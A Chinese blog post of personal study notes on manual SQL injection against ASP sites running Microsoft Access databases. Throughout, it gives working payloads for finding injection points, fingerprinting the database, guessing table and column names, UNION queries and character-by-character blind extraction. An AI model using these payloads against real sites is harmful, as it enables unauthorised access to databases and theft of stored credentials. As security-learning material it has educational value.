access手工注入


写下来,加深印象,方便后期整理。


判断注入点

可以使用如下方法来判断:

  • 特殊符号,\、/、'、"等。
  • -0 减数字看是否变化。
  • 逻辑关系,and比较常用,这里讲讲or和xor,or、xor和and都是相反的,如果错误的就会回显正常,如果是正确的就会回显不正常。xor肯定是不同为真,相同为假,这个好理解,但是数据库里面or的逻辑关系到是有点奇怪了,同时为真时回显会不正常。

判断数据库类型

asp一般搭载access或者mssql,首先得判断出来是哪一类数据库。

and exists (select * from msysobjects)>0

正常回显即为access数据库,如果报错可看报错信息来判断是否在access数据库。

下面这个为sqlserver的判断语句and exists (select * from sysobjects)>0


猜表名和列名

判断表名和列名有两种常用方法,联合查询猜解表名

  • 联合查询真的是只能靠猜和工具,完全凭经验。。。先用order by判断列的长度,然后联合查询表,回显正常即为表存在,反之为不存在。然后再接着猜列名。这里有个地方没搞出来,假设如果admin字段有两个内容,那怎么去查询出第二个内容呢?我这里通过查看db找到了这样的一张表,同一个字段有多个记录,但是查询完只会出现一个记录。也没有找到像mysql中可以使用limit或者gourp_concat之类的方法来搞定这个问题。不过这里想到一个骚操作,一般放用户名的地方可能会存放着user_id或者id这类的字段,如果真的需要猜的话,可以使用这个来完成精确查询。联合查询还是最后等猜解出准确的字段名时再使用时比较好。
    这里想到办法解决如何去查第二个字段的方法了。
    UNION SELECT 1,2,id,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from (select top 1 id from news order by id desc )
    这个问题能够解决的话,联合查询似乎更加简单快速。
  • 猜解表名。利用exists函数来完成猜解,判断方法和之前一样,存在则为正常显示,反之报错显示。
    and exists (select * from 表名)
    表名还可以使用这种方法来猜表名,and 0<>(select count(*) from 表名)
    列名也只能靠猜,如果猜不到就只能使用偏移注入来碰运气了,偏移注入下篇blog再写。
    and exists (select admin from admin)

爆字段内容

爆字段内容要分两步,先猜长度,再猜内容

  • 猜长度。and (select len(admin) from admin)=5,如果正确则回显正常。
  • 猜内容,一个一个字段的猜,和盲注一样的道理。and (select asc(mid(admin,1,1)) from admin)>95,asc()仍然还是转换为ascii码的函数,mid(admin,1,1)则为截取admin字段内容的第一个字符的一个字符,也就为第一个字符。
  • 但是这样的猜只能猜出一个记录的内容,如果希望爆出更多内容,那么就得优化一下语句了,首先,来判断一下某表的列长度。and (select count(*) from news)=10,当然还可以使用between and来完成判断长度。
    效果是一样的,当然最后结果也确实是只有10个字段。
  • 接着来看第二个字段的长度,长度为3。
    and (select top 1 len(id) from (select top 2 id from news ) order by id desc)=3
  • 然后来猜第二个字段的第一个字符了,字符的ascii编码为49即为1。
    and (select top 1 asc(mid(id,1,1)) from (select top 2 id from news ) order by id desc)=49
    接着来猜第二个字段的第二个字符,字符的ascii编码为57即为9。
    and (select top 1 asc(mid(id,2,1)) from (select top 2 id from news ) order by id desc)=57
    接着来猜第二个字段的第三个字符,字符的ascii编码为50即为2。
    and (select top 1 asc(mid(id,3,1)) from (select top 2 id from news ) order by id desc)=50
    所以第二字段的值为192,和上图中显示一样,其余的字段值也可以这样显示出来。

总结

由于access的系统表不像mysql一样具有系统索引库,所以表名和列名都只能靠猜。。。如果通过社工、工具、经验(比如看后台源码的表单名字)都搞不出来的话,就只能通过偏移来试试运气了,令人不太爽,渣渣access。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值